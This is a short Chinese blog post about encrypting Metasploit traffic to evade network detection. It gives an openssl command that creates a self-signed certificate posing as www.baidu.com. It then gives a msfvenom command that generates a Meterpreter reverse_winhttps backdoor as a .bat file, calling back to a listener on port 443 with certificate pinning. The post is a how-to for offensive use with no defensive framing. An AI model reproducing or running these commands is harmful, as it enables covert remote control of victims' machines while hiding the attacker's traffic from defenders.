MSF流量加密躲避检测

最新推荐文章于 2024-04-15 16:00:17 发布

「已注销」

最新推荐文章于 2024-04-15 16:00:17 发布

阅读量624

点赞数 1

分类专栏：流量加密技术文章标签：安全信息安全

本文链接：https://blog.youkuaiyun.com/m0_50526465/article/details/116399228

版权

本文介绍了如何利用Metasploit Framework（MSF）结合OpenSSL进行流量加密，以躲避网络检测。首先，通过OpenSSL生成证书，然后在MSF中设置监听器并启用SSL选项。开启监听后，通过验证HTTPS连接和检查Wireshark抓包来确认流量已加密。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

MSF流量加密躲避检测

对于OpenSSL不了解的，可以去看下我上一篇文章

使用Openssl加密

生成证书

这里C=UK；ST=London等可以对应下面的HTTPS证书看就明白是怎么回事了

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" \
-keyout www.baidu.com.key \
-out www.baidu.com.crt && \
cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && \
rm -f www.baidu.com.key www.baidu.com.crt

在这里插入图片描述

MSF生成后门

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.152.130 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.baidu.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o msf_winhttps.bat